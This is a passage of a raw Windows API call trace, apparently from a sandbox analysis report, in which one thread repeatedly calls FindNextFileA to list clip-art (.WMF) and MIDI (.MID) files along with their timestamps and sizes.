nFileSizeLow=0x31f4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0135.160] GetCurrentThreadId () returned 0x9b0 [0135.160] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0135.160] GetCurrentThreadId () returned 0x9b0 [0135.160] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0135.160] GetCurrentThreadId () returned 0x9b0 [0135.160] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0135.160] GetCurrentThreadId () returned 0x9b0 [0135.160] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0135.160] GetCurrentThreadId () returned 0x9b0 [0135.160] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0135.161] GetCurrentThreadId () returned 0x9b0 [0135.161] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0135.161] GetCurrentThreadId () returned 0x9b0 [0135.161] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0135.161] GetCurrentThreadId () returned 0x9b0 [0135.161] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0135.161] GetCurrentThreadId () returned 0x9b0 [0135.161] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0135.161] GetCurrentThreadId () returned 0x9b0 [0135.161] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0135.162] GetCurrentThreadId () returned 0x9b0 [0135.162] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0135.162] GetCurrentThreadId () returned 0x9b0 [0135.162] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0135.162] GetCurrentThreadId () returned 0x9b0 [0135.162] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0135.162] GetCurrentThreadId () returned 0x9b0 [0135.162] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0135.162] GetCurrentThreadId () returned 0x9b0 [0135.162] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0135.162] GetCurrentThreadId () returned 0x9b0 [0135.163] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0135.163] GetCurrentThreadId () returned 0x9b0 [0135.163] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0135.163] GetCurrentThreadId () returned 0x9b0 [0135.163] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0135.163] GetCurrentThreadId () returned 0x9b0 [0135.163] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0135.163] GetCurrentThreadId () returned 0x9b0 [0135.163] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0135.163] GetCurrentThreadId () returned 0x9b0 [0135.164] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0135.164] GetCurrentThreadId () returned 0x9b0 [0135.164] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0135.164] GetCurrentThreadId () returned 0x9b0 [0135.164] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0135.164] GetCurrentThreadId () returned 0x9b0 [0135.164] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0135.164] GetCurrentThreadId () returned 0x9b0 [0135.164] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0135.164] GetCurrentThreadId () returned 0x9b0 [0135.164] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0135.165] GetCurrentThreadId () returned 0x9b0 [0135.165] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0135.165] GetCurrentThreadId () returned 0x9b0 [0135.165] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0135.165] GetCurrentThreadId () returned 0x9b0 [0135.165] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0135.165] GetCurrentThreadId () returned 0x9b0 [0135.165] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0135.165] GetCurrentThreadId () returned 0x9b0 [0135.165] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0135.165] GetCurrentThreadId () returned 0x9b0 [0135.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0135.166] GetCurrentThreadId () returned 0x9b0 [0135.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0135.166] GetCurrentThreadId () returned 0x9b0 [0135.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0135.166] GetCurrentThreadId () returned 0x9b0 [0135.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0135.166] GetCurrentThreadId () returned 0x9b0 [0135.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0135.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: 